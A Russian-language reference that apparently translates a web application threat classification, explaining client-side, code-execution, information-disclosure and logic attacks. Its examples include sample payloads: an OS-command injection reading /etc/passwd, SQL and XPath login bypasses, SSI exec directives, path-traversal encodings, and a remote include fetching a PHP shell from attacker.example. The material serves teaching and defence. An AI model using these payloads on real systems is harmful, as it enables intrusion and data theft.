Атаки на клиентов (Client-side Attacks)
В этом разделе описываются атаки на пользователей Web-сервера. Во время посещения сайта, между пользователем и севером устанавливаются доверительные отношения, как в технологическом, так и в психологическом аспектах. Пользователь ожидает, что сайт предоставит ему легитимное содержимое. Кроме того, пользователь не ожидает атак со стороны сайта. Эксплуатируя это доверие, злоумышленник может использовать различные методы для проведения атак на клиентов сервера.
Подмена содержимого (Content Spoofing) – используя эту технику, злоумышленник заставляет пользователя поверить, что страницы сгенерированы Web-сервером, а не переданы из внешнего источника.
Некоторые Web-страницы создаются с использованием динамических источников HTML-кода. К примеру, расположение фрейма () может передаваться в параметре URL (http://foo.example/page?frame_src=http://foo.example/file.html).
Атакующий может заменить значение параметра "frame_src" на "frame_src=http://attacker.example/spoof.html". Когда будет отображаться результирующая страница, в строке адреса браузера пользователя будет отображаться адрес сервера (foo.example), но при этом также на странице будет присутствовать внешнее содержимое, загруженное с сервера атакующего (attacker.example), замаскированное под легальный контент.
Специально созданная ссылка может быть прислана по электронной почте, в системе моментального обмена сообщениями, опубликована на доске сообщений или открыта в браузере пользователе с использованием межсайтового выполнения сценариев. Если атакующий спровоцировал пользователя на переход по специально созданной ссылке, у пользователя может создаться впечатление, что он просматривает данные с сервера, в то время как часть их была сгенерирована злоумышленником.
Таким образом, произойдет «дефэйс» (deface) сайта http://foo.example на стороне пользователя, поскольку реальное содержимое сервера будет загружено с сервера http://attacker.example. Эта атака также может использоваться для создания ложных страниц, таких как формы ввода пароля, пресс-релизы и т.д.
Межсайтовое выполнение сценариев (Cross-site Scripting, XSS) – наличие этой уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя. Этот код обычно создается на языках HTML/JavaScript, но могут быть использованы VBScript, ActiveX, Java, Flash, или другие поддерживаемые браузером технологии.
Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера. Используя эти привилегии, код получает возможность читать, модифицировать или передавать важные данные, доступные с помощью браузера. У атакованного пользователя может быть скомпрометирована учётная запись (account) (кража cookie), его браузер может быть перенаправлен на другой сервер или осуществлена подмена содержимого сервера. В результате тщательно спланированной атаки злоумышленник может использовать браузер жертвы для просмотра страниц сайта от имени атакуемого пользователя. Код может передаваться злоумышленником в URL, в заголовках HTTP запроса (cookie, user-agent, referer), значениях полей форм и т.д.
Существует два типа атак, приводящих к межсайтовому выполнению сценариев: постоянные (сохранённые) и непостоянные (отражённые). Основным отличием между ними является то, что в отраженном варианте передача кода серверу и возврат его клиенту осуществляется в рамках одного HTTP-запроса, а в хранимом - в разных.
Осуществление непостоянной атаки требует, чтобы пользователь перешел по ссылке, сформированной злоумышленником (ссылка может быть передана по e-mail, ICQ и т.д.). В процессе загрузки сайта код, внедрённый в URL или в заголовки запроса, будет передан клиенту и выполнен в его браузере. Сохранённая разновидность уязвимости возникает, когда код передается серверу и сохраняется на нём на некоторый промежуток времени. Наиболее популярными целями атак в этом случае являются форумы, почта с Web-интерфейсом и чаты. Для атаки пользователю не обязательно переходить по ссылке, достаточно посетить уязвимый сайт.
Сохранённый вариант атаки: многие сайты имеют доски объявлений и форумы, которые позволяют пользователям оставлять сообщения. Зарегистрированный пользователь обычно идентифицируется по номеру сессии, сохраняемому в cookie. Если атакующий оставит сообщение, содержащее код на языке JavaScript, он получит доступ к идентификатору сессии пользователя.
Отраженный вариант атаки: многие серверы предоставляют пользователям возможность поиска по содержимому сервера. Как правило, запрос передается в URL и содержится в результирующей странице.
К примеру, при переходе по URL http://portal.example/search?q=”fresh beer” пользователю будет отображена страница, содержащая результаты поиска и фразу: «По вашему запросу fresh beer найдено 0 страниц». Если в качестве искомой фразы будет передан Javascript, он выполнится в браузере пользователя:
http://portal.example/search/?q=
Расщепление HTTP-запроса (HTTP Response Splitting) – при использовании данной уязвимости злоумышленник посылает серверу специальным образом сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа. Второй ответ полностью контролируется злоумышленником, что даёт ему возможность подделать ответ сервера.
В реализации атак с расщеплением HTTP-запроса участвуют как минимум три стороны:
Web-сервер, содержащий подобную уязвимость.
Цель атаки, взаимодействующая с Web-сервером под управлением злоумышленника. Типично в качестве цели атаки выступает кеширующий сервер-посредник или кеш браузера.
Атакующий, инициирующий атаку.
Возможность осуществления атаки возникает, когда сервер возвращает данные, предоставленные пользователем в заголовках HTTP ответа. Обычно это происходит при перенаправлении пользователя на другую страницу (коды HTTP 3xx) или когда данные, полученные от пользователя, сохраняются в cookie.
В первой ситуации URL, на который происходит перенаправление, являются частью заголовка Location HTTP ответа, а во втором случае значение cookie передается в заголовке Set-Cookie.
Основой расщепления HTTP-запроса является внедрение символов перевода строки (CR и LF) таким образом, чтобы сформировать две HTTP транзакции, в то время как реально будет происходить только одна. Перевод строки используется для того, что бы закрыть первую (стандартную) транзакцию и сформировать вторую пару вопрос/ответ, полностью контролируемую злоумышленником и абсолютно непредусмотренную логикой приложения.
В результате успешной реализации этой атаки злоумышленник может выполнить следующие действия:
Межсайтовое выполнение сценариев.
Модификация данных кеша сервера-посредника. Некоторые кеширующие proxy-серверы (Squid 2.4, NetCache 5.2, Apache Proxy 2.0 и ряд других), сохраняют подделанный злоумышленником ответ на жёстком диске и на последующие запросы пользователей по данному адресу возвращают кешированные данные. Это приводит к замене страниц сервера на клиентской стороне. Кроме этого, злоумышленник может переправить себе значение cookie пользователя или присвоить им определенное значение. Так же эта атака может быть направлена на индивидуальный кеш браузера пользователя.
Межпользовательская атака (один пользователь, одна страница, временная подмена страницы). При реализации этой атаки злоумышленник не посылает дополнительный запрос. Вместо этого используется тот факт, что некоторые серверы-посредники разделяют одно TCP-соединение к серверу между несколькими пользователями. В результате второй пользователь получает в ответ страницу, сформированную злоумышленником. Кроме подмены страницы злоумышленник может также выполнить различные операции с cookie пользователя.
Перехват страниц, содержащих пользовательские данные. В этом случае злоумышленник получает ответ сервера вместо самого пользователя. Таким образом, он может получить доступ к важной или конфиденциальной информации.
Выполнение кода (Command Execution)
В этом разделе описаны атаки, направленные на выполнение кода на Web-сервере. Все серверы используют данные, преданные пользователем, при обработке запросов. Часто эти данные используются при составлении команд, применяемых для генерации динамического содержимого. Если при разработке не учитываются требования безопасности, злоумышленник получает возможность модифицировать исполняемые команды.
Переполнение буфера (Buffer Overflow) – эксплуатация переполнения буфера позволяет злоумышленнику изменить путь исполнения программы путём перезаписи данных в памяти системы. Переполнение буфера является наиболее распространённой причиной ошибок в программах. Оно возникает, когда объём данных превышает размер выделенного под них буфера. Когда буфер переполняется, данные переписывают другие области памяти, что приводит к возникновению ошибки. Если злоумышленник имеет возможность управлять процессом переполнения, это может вызвать ряд серьёзных проблем.
Переполнение буфера может вызывать отказы в обслуживании, приводя к повреждению памяти и вызывая ошибки в программах. Более серьезные ситуации позволяют изменить путь исполнения программы и выполнить в её контексте различные действия. Это может происходить в нескольких случаях.
Используя переполнение буфера, можно перезаписывать служебные области памяти, например, адрес возврата из функций в стеке. Также, при переполнении могут быть переписаны значения переменных в программе.
Переполнения буфера является наиболее распространенной проблемой в безопасности и нередко затрагивает Web-серверы. Однако атаки, эксплуатирующие эту уязвимость, используются против Web-приложений не очень часто. Причина этого кроется в том, что атакующему, как правило, необходимо проанализировать исходный код или образ программы.
Поскольку атакующему приходится эксплуатировать нестандартную программу на удаленном сервере, ему приходится атаковать «вслепую», что снижает шансы на успех.
Переполнение буфера обычно возникает в программах, разработанных на языках C и C++. Если часть сайта создана с использованием этих языков, сайт может быть уязвим для переполнения буфера.
Атака на функции форматирования строк (Format String Attack) – при использовании этих атак путь исполнения программы модифицируется методом перезаписи областей памяти с помощью функций форматирования символьных переменных. Уязвимость возникает, когда пользовательские данные применяются в качестве аргументов функций форматирования строк, таких как fprintf, printf, sprintf, setproctitle, syslog и т.д. Если атакующий передаёт приложению строку, содержащую символы форматирования ("%f", "%p", "%n" и т.д.), то у него появляется возможность:
выполнить произвольный код на сервере;
считывать значения из стека;
вызывать ошибки в программе/отказ в обслуживании.
Предположим, Web-приложение хранит параметр emailAddress для каждого пользователя. Это значение используется в качестве аргумента функции printf:
printf(emailAddress);
Если значение переменной emailAddress содержит символы форматирования, функция printf будет обрабатывать их согласно заложенной в неё логике. Поскольку дополнительных значений этой функции не передано, будут использованы значения стека, хранящие другие данные.
Возможны следующие методы эксплуатации атак на функции форматирования строк:
Чтение данных из стека: если вывод функции printf передаётся атакующему, он получает возможность чтения данных из стека, используя символ форматирования "%x".
Чтение строк из памяти процесса: если вывод функции printf передается атакующему, он может получать строки из памяти процесса, передавая в параметрах символ "%s".
Запись целочисленных значений в память процесса: используя символ форматирования "%n", злоумышленник может сохранять целочисленные значения в памяти процесса. Таким образом можно перезаписать важные значения, например флаги управления доступом или адрес возврата.
Внедрение операторов LDAP (LDAP Injection) – атаки этого типа направлены на Web-серверы, создающие запросы к службе LDAP на основе данных, вводимых пользователем. Упрощенный протокол доступа к службе каталога (Lightweight Directory Access Protocol, LDAP) – открытый протокол для создания запросов и управления службами каталога совместимыми со стандартом X.500. Протокол LDAP работает поверх транспортных протоколов Internet (TCP/UDP). Web-приложение может использовать данные, предоставленные пользователем для создания запросов по протоколу LDAP при генерации динамических Web-страниц. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность модифицировать LDAP-запрос.
Запрос будет выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, Web-сервер и т.д). Если данный компонент имеет права на чтение или модификацию данных в структуре каталога, злоумышленник получает те же возможности.
Техника эксплуатации данной уязвимости очень схожа с техникой внедрения операторов SQL, описанной далее.
Выполнение команд ОС (OS Commanding) – атаки этого класса направлены на выполнение команд операционной системы на Web-сервере путем манипуляции входными данными. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность выполнить команды ОС. Они будут выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, Web-сервер и т.д).
Большинство языков сценариев позволяет запускать команды ОС во время выполнения, используя варианты функции exec. Если данные, полученные от пользователя, передаются этой функции без проверки, злоумышленник может выполнить команды ОС удаленно. Следующий пример иллюстрирует уязвимый PHP-сценарий.
exec("ls -la $dir",$lines,$rc);
Используя символ ";" (Unix) или "&" (Windows) в параметре dir можно выполнить команду операционной системы:
http://example/directory.php?dir=%3Bcat%20/etc/passwd
В результате подобного запроса злоумышленник получает содержимое файла /etc/passwd.
Внедрение операторов SQL (SQL Injection) – эти атаки направлены на Web-серверы, создающие SQL запросы к серверам СУБД на основе данных, вводимых пользователем.
Язык запросов Structured Query Language (SQL) представляет собой специализированный язык программирования, позволяющий создавать запросы к серверам СУБД. Большинство серверов поддерживают этот язык в вариантах, стандартизированных ISO и ANSI. В большинстве современных СУБД присутствуют расширения диалекта SQL, специфичные для данной реализации (T-SQL в Microsoft SQL Server, PL SQL в Oracle и т.д.). Многие Web-приложения используют данные, переданные пользователем, для создания динамических Web-страниц.
Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность модифицировать запрос к SQL-серверу, отправляемый приложением. Запрос будет выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, Web-сервер и т.д.). В результате злоумышленник может получить полный контроль на сервером СУБД и даже его операционной системой. С точки зрения эксплуатации SQL Injection очень походит на LDAP Injection.
Предположим, аутентификация в Web-приложение осуществляется с помощью Web-формы, обрабатываемой следующим кодом:
SQLQuery = "SELECT Username FROM Users WHERE
Username = '" & strUsername & "' AND Password = '"
& strPassword & "'" strAuthCheck =
GetQueryResult(SQLQuery)
В этом случае разработчики непосредственно использует переданные пользователями значения strUsername и strPassword для создания SQL-запроса. Предположим, злоумышленник передаст следующие значения параметров:
Login: ' OR ''='
Password: ' OR ''='
В результате серверу будет передан следующий SQL-запрос:
SELECT Username FROM Users WHERE Username = '' OR
''='' AND Password = '' OR ''=''
Вместо сравнения имени пользователя и пароля с записями в таблице Users, данный запрос сравнивает пустую строку с пустой строкой. Естественно, результат подобного запроса всегда будет равен True, и злоумышленник войдёт в систему от имени первого пользователя в таблице.
Обычно выделяют два метода эксплуатации внедрения операторов SQL: обычная атака, и атака вслепую (Blind SQL Injection). В первом случае злоумышленник подбирает параметры запроса, используя информацию об ошибках, генерируемую Web-приложением.
Добавляя оператор union к запросу, злоумышленник проверяет доступность базы данных: http://example/article.asp?ID=2+union+all+select+name+from+sysobjects
Сервер генерирует сообщение, аналогичное следующему:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All
queries in an SQL statement containing a UNION
operator must have an equal number of expressions
in their target lists.
Из этого следует, что оператор union был передан серверу, и теперь злоумышленнику необходимо подобрать используемое в исходном выражении select количество параметров.
Внедрение SQL кода вслепую. В этом случае стандартные сообщения об ошибках модифицированы, и сервер возвращает понятную для пользователя информацию о неправильном вводе. Осуществление SQL Injection может быть осуществлено и в этой ситуации, однако обнаружение уязвимости затруднено. Наиболее распространенный метод проверки наличия проблемы – добавление выражений, возвращающих истинное и ложное значение.
Выполнение подобного запроса к серверу:
http://example/article.asp?ID=2+and+1=1
должно вернуть ту же страницу, что и запрос:
http://example/article.asp?ID=2
поскольку выражение 'and 1=1' всегда истинно.
Если в запрос добавляется выражение, возвращающее значение «ложь»:
http://example/article.asp?ID=2+and+1=0
пользователю будет возвращено сообщение об ошибках или страница не будет сгенерирована.
В случае если факт наличие уязвимости подтверждён, эксплуатация ничем не отличается от обычного варианта.
Внедрение серверных расширений (SSI Injection) – атаки данного класса позволяют злоумышленнику передать исполняемый код, который в дальнейшем будет выполнен на Web-сервере. Уязвимости, приводящие к возможности осуществления данных атак, обычно заключаются в отсутствии проверки данных, предоставленных пользователем, перед сохранением их в интерпретируемом сервером файле.
Перед генерацией HTML страницы сервер может выполнять сценарии, например Server-site Includes (SSI). В некоторых ситуациях исходный код страниц генерируется на основе данных, предоставленных пользователем.
Если атакующий передает серверу операторы SSI, он может получить возможность выполнения команд операционной системы или включить в неё запрещенное содержимое при следующем отображении.
Следующее выражение будет интерпретировано в качестве команды, просматривающей содержимое каталога сервера в Unix системах.
< !--#exec cmd="/bin/ls /" -- >
Следующее выражение позволяет получить строки соединения с базой данных и другую чувствительную информацию, расположенную в файле конфигурации приложения .NET.
Другие возможности для атаки возникают, когда Web-сервер использует в URL имя подключаемого файла сценариев, но должным образом его не верифицирует. В этом случае злоумышленник может создать на сервере файл и подключить его к выполняемому сценарию, или указать в качестве имени сценария URL на своем сервере.
Предположим, Web-приложение работает со ссылками подобными следующей:
http://portal.example/index.php?template=news
$body = $_GET['page'] . ".php";
В ходе обработки этого запроса сценарий index.php подключает сценарий news.php и выполняет указанный в нем код.
Злоумышленник может указать в качестве URL
http://portal.example/index.php?template=http://attacker.example/phpshell и сценарий phpshell будет загружен с сервера злоумышленника и выполнен на сервере с правами Web-сервера.
Если на сервере предусмотрена функция сохранения документов пользователя, злоумышленник может предварительно сохранить необходимый сценарий и вызвать его через функцию подключения (http://portal.example/index.php?template=users/uploads/phpshell) или напрямую (http://portal.example/users/uploads/phpshell.php).
Внедрение операторов XPath (XPath Injection) – эти атаки направлены на Web-серверы, создающие запросы на языке XPath на основе данных, вводимых пользователем.
Язык XPath 1.0 разработан для предоставления возможности обращения к частям документа на языке XML. Он может быть использован непосредственно либо в качестве составной части XSLT-преобразования XML-документов или выполнения запросов XQuery.
Синтаксис XPath близок к языку SQL запросов. Предположим, что существует документ XML, содержащий элементы, соответствующие именам пользователей, каждый из которых содержит три элемента – имя, пароль и номер счета. Следующее выражение на языке XPath позволяет определить номер счета пользователя "jsmith" с паролем "Demo1234":
string(//user[name/text()='jsmith' and password/text()='Demo1234']/account/text())
Если запросы XPath генерируются во время исполнения на основе пользовательского ввода, у атакующего появляется возможность модифицировать запрос с целью обхода логики работы программы.
Предположим, что Web-приложение использует XPath для запросов к документу XML для получения номеров счета пользователей, чьё имя и пароль было передано клиентом. Если это приложение внедряет данные пользователя непосредственно в запрос, это приводит к возникновению уязвимости.
Пример (Microsoft ASP.NET и C#):
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("...");
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr =
nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'
and password/text()='"+TextBox2.Text+
"']/account/text())");
String account=Convert.ToString(nav.Evaluate(expr));
if (account=="") {
// name+password pair is not found in the XML document
-
// login failed.
} else {
// account found -> Login succeeded.
// Proceed into the application.
}
В случае использования подобного кода злоумышленник может внедрить в запрос выражения на языке XPath, например, ввести в качестве имени пользователя следующее выражение:
' or 1=1 or ''='
В этом случае, запрос всегда будет возвращать счёт первого пользователя в документе, поскольку будет выглядеть следующим образом:
string(//user[name/text()='' or 1=1 or ''='' and password/text()='foobar']/account/text())
В результате злоумышленник получит доступ в систему от имени первого в документе XML, пользователя не предоставляя имени пользователя и пароля.
Разглашение информации (Information Disclosure)
Атаки данного класса направлены на получение дополнительной информации о Web-приложении. Используя эти уязвимости, злоумышленник может определить используемые дистрибутивы ПО, номера версий клиента и сервера и установленные обновления. В других случаях, в утекшей информации может содержаться расположение временных файлов или резервных копий. Во многих случаях эти данные не требуются для работы пользователя. Большинство серверов предоставляют доступ к чрезмерному объему данных, однако необходимо минимизировать объем служебной информации. Чем большими знаниями о приложении будет располагать злоумышленник, тем легче ему будет скомпрометировать систему.
Индексирование директорий (Directory Indexing) – предоставление списка файлов в директории представляет собой нормальное поведение Web- сервера, если страница, отображаемая по умолчанию (index.html/home.html/default.htm) отсутствует.
Когда пользователь запрашивает основную страницу сайта, он обычно указываете доменное имя сервера без имени конкретного файла (http://www.example). Сервер просматривает основную папку, находит в ней файл, используемый по умолчанию, и на его основе генерирует ответ. Если такой файл отсутствует, в качестве ответа может вернуться список файлов в директории сервера.
Эта ситуация аналогична выполнению команды "ls" (Unix) или "dir" (Windows) на сервере и форматированию результатов в виде HTML.
В этой ситуации злоумышленник может получить доступ к данным, не предназначенным для свободного доступа. Довольно часто администраторы полагаются на "безопасность через сокрытие", предполагая, что раз гиперссылка на документ отсутствует, то он недоступен непосвященным. Современные сканеры уязвимостей, такие как Nikto, могут динамически добавлять файлы и папки к списку сканируемых в зависимости от результатов запросов. Используя содержимое /robots.txt или полученного списка директорий, сканер может найти спрятанное содержимое или другие файлы.
Таким образом, внешне безопасное индексирование директорий может привести к утечке важной информации, которая в дальнейшем будет использована для проведения атак на систему.
Используя индексирование директорий можно получить доступ к следующим данным:
резервные копии ( .bak, .old or .orig);
временные файлы. Такие файлы должны удаляться сервером автоматически, но иногда остаются доступными.
спрятанные файлы, название которых начинается с символа ".";
соглашение об именах. Эта информация может помочь предсказать имена файлов или директорий (admin или Admin, back-up или backup).
список пользователей сервера. Довольно часто для каждого из пользователей создается папка с именем, основанном на названии учетной записи.
имена файлов конфигурации (.conf, .cfg or .config)
содержимое серверных сценариев или исполняемых файлов в случае неверно указанных расширений или разрешений.
Могут использоваться три основных сценария получения списка файлов:
Ошибки конфигурации. Подобные проблемы возникают, когда администратор ошибочно указывает в конфигурации сервера эту опцию. Подобные ситуации часто возникают при настройке сложных конфигураций, где некоторые папки должны быть доступны для просмотра. С точки зрения злоумышленника запрос не отличается от указанного раньше. Он просто обращается к директории и анализирует результат. Его не беспокоит, почему сервер ведет себя подобным образом.
Некоторые компоненты Web-сервера позволяют получать список файлов, даже если это не разрешено в конфигурационных файлах. Обычно это возникает в результате ошибок реализации, когда сервер генерирует список файлов при получении определенного запроса.
Базы данных поисковых машин (Google, Wayback machine) могут содержать кеш старых вариантов сервера, включая списки файлов.
Идентификация приложений (Web Server/Application Fingerprinting) – определение версий приложений используется злоумышленником для получения информации об используемых сервером и клиентом операционных системах, Web-северах и браузерах. Также эта атака может быть направлена на другие компоненты Web-приложения, например, службу каталога или сервер баз данных или используемые технологии программирования.
Обычно подобные атаки осуществляются путем анализа различной информации, предоставляемой Web-сервером, например:
Особенности реализации протокола HTTP;
Заголовки HTTP-ответов;
Используемые сервером расширения файлов (.asp или. jsp);
Значение Cookie (ASPSESSION и т.д.);
Сообщения об ошибках;
Структура каталогов и используемое соглашение об именах (Windows/Unix);
Интерфейсы поддержки разработки Web-приложений(Frontpage/WebPublisher);
Интерфейсы администрирования сервера (iPlanet/Comanche);
Определение версий операционной системы.
Для определения версий клиентских приложений обычно используется анализ HTTP-запросов (порядок следования заголовков, значение User-agent и т.д.). Однако, для этих целей могут применятся и другие техники. Так, например, анализ заголовков почтовых сообщений, созданных с помощью клиента Microsoft Outlook, позволяет определить версию установленного на компьютере браузера Internet Explorer.
Наличие детальной и точной информации об используемых приложениях очень важно для злоумышленника, поскольку реализация многих атак (например, переполнение буфера) специфично для каждого варианта операционной системы или приложения. Кроме того, детальная информация об инфраструктуре позволяет снизить количество ошибок, и как следствие - общий «шум», производимый атакующим. Данный факт отмечен в HTTP RFC2068, рекомендующим, чтобы значение заголовка Server HTTP ответа являлся настраиваемым параметром.
Сообщения об ошибках – ошибка 404 сервером Apache обозначается фразой "Not Found", в то время как IIS 5.0 отвечает сообщением "Object Not Found".
Синтаксис заголовков также может отличаться. Например, использование строчных или заглавных букв в названии параметров ("Content-Length" в IIS или "Content-length" в Netscape-Enterprise/6.0).
Не смотря на требования HTTP RFC, существуют семантические особенности при генерации заголовков различными серверами. Например, Apache передает параметр Date перед значением заголовка Server, в то время как IIS использует обратный порядок. Порядок значений параметров так же может отличаться. Например, при обработке запроса OPTIONS Apache возвращает только параметр Allow, в то время как IIS дополнительно включает параметр Public.
Аналогичным образом может анализироваться наличие опциональных заголовков (Vary, Expires и т.д.) и реакция сервера на неверные запросы ("GET //", "GET/%2f" и т.д.).
Утечка информации (Information Leakage) – эти уязвимости возникают в ситуациях, когда сервер публикует важную информацию, например, комментарии разработчиков или сообщения об ошибках, которая может быть использована для компрометации системы. Ценные с точки зрения злоумышленника данные могут содержаться в комментариях HTML, сообщениях об ошибках или просто присутствовать в открытом виде. Существует огромное количество ситуаций, в которых может произойти утечка информации. Не обязательно она приводит к возникновению уязвимости, но часто дает атакующему прекрасное пособие для развития атаки. С утечкой важной информации могут возникать риски различной степени, поэтому необходимо минимизировать количество служебной информации, доступной на клиентской стороне.
Анализ доступной информации позволяет злоумышленнику произвести разведку и получить представление о структуре директорий сервера, используемых SQL запросах, названиях ключевых процессов и программ сервера.
Часто разработчики оставляют комментарии в HTML страницах и коде сценариев для облегчения поиска ошибок и поддержки приложения. Эта информация может варьироваться от простых описаний деталей функционирования программы до, в худших случаях, имён пользователей и паролей, используемых при отладке.
Утечка информации может относиться и к конфиденциальным данным, обрабатываемым сервером. Это могут быть идентификаторы пользователя (ИНН, номера водительских удостоверений, паспортов и т.д.), а также текущая информация (баланс лицевого счета или история платежей).
Многие атаки этой категории выходят за рамки защиты Web-приложений и переходят в область физической безопасности. Утечка информации в этом случае часто возникает, когда в браузере отображается информация, которая не должна выводиться в открытом виде даже пользователю. В качестве примера можно привести пароли пользователя, номера кредитных карточек и т.д.
Обратный путь в директориях (Path Traversal) – данная техника атак направлена на получения доступа к файлам, директориям и командам, находящимся вне основной директории Web-сервера. Злоумышленник может манипулировать параметрами URL с целью получить доступ к файлам или выполнить команды, располагаемые в файловой системе Web-сервера. Для подобных атак потенциально уязвимо любое устройство, имеющее Web-интерфейс.
Многие Web-серверы ограничивают доступ пользователя определенной частью файловой системы, обычно называемой "web document root" или "CGI root". Эти директории содержат файлы, предназначенные для пользователя и программы, необходимые для получения доступа к функциям Web-приложения.
Большинство базовых атак, эксплуатирующих обратный путь, основаны на внедрении в URL символов "../", для того, чтобы изменить расположение ресурса, который будет обрабатываться сервером. Поскольку большинство Web-серверов фильтруют эту последовательность, злоумышленник может воспользоваться альтернативными кодировками для представления символов перехода по директориям. Популярные приемы включают использование альтернативных кодировок, например Unicode ("..%u2216" или "..%c0%af"), использование обратного слеша ("..\") в Windows-серверах, символов URLEncode ("%2e%2e%2f") или двойная кодировка URLEncode ("..%255c").
Даже если Web-сервер ограничивает доступ к файлам определенным каталогом, эта уязвимость может возникать в сценариях или CGI-программах. Возможность использования обратного пути в каталогах довольно часто возникает в приложениях, использующих механизмы шаблонов или загружающих текст их страниц из файлов на сервере. В этом варианте атаки злоумышленник модифицирует имя файла, передаваемое в качестве параметра CGI-программы или серверного сценария. В результате злоумышленник может получить исходный код сценариев. Довольно часто к имени запрашиваемого файла добавляются специальные символы, такие как "%00", с целью обхода фильтров.
Обратный путь в каталогах Web-сервера:
http://example/../../../../../some/file
http://example/..%255c..%255c..%255csome/file
http://example/..%u2216..%u2216some/file
Обратный путь в каталогах Web-приложения:
Исходный URL: http://example/foo.cgi?home=index.htm
Атака: http://example/foo.cgi?home=foo.cgi
В приведенном сценарии Web-приложение генерирует страницу, содержащую исходный код сценария foo.cgi, поскольку значение переменной home используется как имя загружаемого файла. Обратите внимание, что в данном случае злоумышленник не использует специальных символов, поскольку целью является файл в той же директории, в которой располагается файл index.htm.
Обратный путь в каталогах Web-приложения с использованием специальных символов:
Исходный URL: http://example/scripts/foo.cgi?page=menu.txt
Атака: http://example/scripts/foo.cgi?page=../scripts/foo.cgi%00txt
В приведенном примере Web-приложение загружает исходный текст сценария foo.cgi. Атакующий использует символы "../" для перехода на уровень выше по дереву каталогов и перехода в директорию /scripts. Символ "%00" используется для обхода проверки расширения файла (приложение позволяет обращаться только к файлам .txt) и для того, чтобы расширение не использовалось при загрузке файла.
Предсказуемое расположение ресурсов (Predictable Resource Location) – предсказуемое расположение ресурсов позволяет злоумышленнику получить доступ к скрытым данным или функциональным возможностям. Путем подбора злоумышленник может получить доступ к содержимому, не предназначенному для публичного просмотра. Временные файлы, файлы резервных копий, файлы конфигурации или стандартные примеры часто являются целью подобных атак. В большинстве случаев перебор может быть оптимизирован путем использования стандартного соглашения об именах файлов и директорий сервера. Получаемые злоумышленником файлы могут содержать информацию о дизайне приложения, информацию из баз данных, имена машин или пароли, пути к директориям. Также «скрытые» файлы могут содержать уязвимости, отсутствующие в основном приложении. На эту атаку часто ссылаются как на перечисление файлов и директорий (Forced Browsing, File Enumeration, Directory Enumeration).
Атакующий может создать запрос к любому файлу или папке на сервере. Наличие или отсутствие ресурса определяется по коду ошибки (например, 404 в случае отсутствия папки или 403 в случае её наличия на сервере). Ниже приведены варианты подобных запросов.
Слепой поиск популярных названий директорий:
/admin/
/backup/
/logs/
/vulnerable_file.cgi
Изменение расширений существующего файла: (/test.asp)
/test.asp.bak
/test.bak
/test
Логические атаки (Logical Attacks)
Атаки данного класса направлены на эксплуатацию функций приложения или логики его функционирования. Логика приложения представляет собой ожидаемый процесс функционирования программы при выполнении определенных действий. В качестве примеров можно привести восстановление паролей, регистрацию учетных записей, аукционные торги, транзакции в системах электронной коммерции. Приложение может требовать от пользователя корректного выполнения нескольких последовательных действий для выполнения определенной задачи. Злоумышленник может обойти или использовать эти механизмы в своих целях.
Злоупотребление функциональными возможностями (Abuse of Functionality) – данные атаки направлены на использование функций Web-приложения с целью обхода механизмов разграничение доступа. Некоторые механизмы Web-приложения, включая функции обеспечения безопасности, могут быть использованы для этих целей. Наличие уязвимости в одном из, возможно, второстепенных компонентов приложения, может привести к компрометации всего приложения. Уровень риска и потенциальные возможности злоумышленника в случае проведения атаки очень сильно зависят от конкретного приложения.
Злоупотребление функциональными возможностями очень часто используется совместно с другими атаками, такими как обратный путь в директориях и т.д. К примеру, при наличии уязвимости типа межсайтовое выполнение сценариев в HTML-чате злоумышленник может использовать функции чата для рассылки URL, эксплуатирующего уязвимость, всем текущим пользователям.
С глобальной точки зрения, все атаки на компьютерные системы являются злоупотреблениями функциональными возможностями. Особенно это относится к атакам, направленным на Web-приложения, которые не требуют модификации функций программы.
Примеры злоупотребления функциональными возможностями включают в себя:
Использования функций поиска для получения доступа к файлам за пределами корневой директории Web-сервера;
Использование функции загрузки файлов на сервер для перезаписи файлов конфигурации или внедрения серверных сценариев;
Реализация отказа в обслуживании путем использования функции блокировки учетной записи при многократном вводе неправильного пароля.
Отказ в обслуживании (Denial of Service) – данный класс атак направлен на нарушение доступности Web-сервера. Обычно атаки, направленные на отказ в обслуживании реализуются на сетевом уровне, однако они могут быть направлены и на прикладной уровень. Используя функции Web-приложения, злоумышленник может исчерпать критичные ресурсы системы, или воспользоваться уязвимостью, приводящий к прекращению функционирования системы.
Обычно DoS атаки направлены на исчерпание критичных системных ресурсов, таких как вычислительные мощности, оперативная память, дисковое пространство или пропускная способность каналов связи. Если какой-то из ресурсов достигнет максимальной загрузки, приложение целиком будет недоступно.
Атаки могут быть направлены на любой из компонентов Web-приложения, например, такие как сервер СУБД, сервер аутентификации и т.д. В отличии от атак на сетевом уровне, требующих значительных ресурсов злоумышленника, атаки на прикладном уровне обычно легче реализовать.
Предположим, что сервер Health-Care генерирует отчеты о клинической истории пользователей. Для генерации каждого отчета сервер запрашивает все записи, соответствующие определенному номеру социального страхования. Поскольку в базе содержатся сотни миллионов записей, пользователю приходится ожидать результата несколько минут. В это время загрузка процессора сервера СУБД достигает 60%.
Злоумышленник может послать десять одновременных запросов на получение отчетов, что с высокой вероятностью приведет к отказу в обслуживании, поскольку загрузка процессора сервера баз данных достигнет максимального значения. На время обработки запросов злоумышленника нормальная работа сервера будет невозможна.
DoS на другой сервер – злоумышленник может разместить на популярном Web-форуме ссылку (например, в виде изображения в сообщении) на другой ресурс. При заходе на форум, пользователи будут автоматически загружать данные с атакуемого сервера, используя его ресурсы. Если на атакуемом сервере используется система предотвращения атак с функцией блокировки IP-адреса атакующего, в ссылке может использоваться сигнатура атаки (например ../../../../../etc/passwd), что приведёт к блокировке пользователей, зашедших на форум.
Атаки на сервер СУБД – злоумышленник может воспользоваться внедрением кода SQL для удаления данных из таблиц, что приведет к отказу в обслуживания приложения.
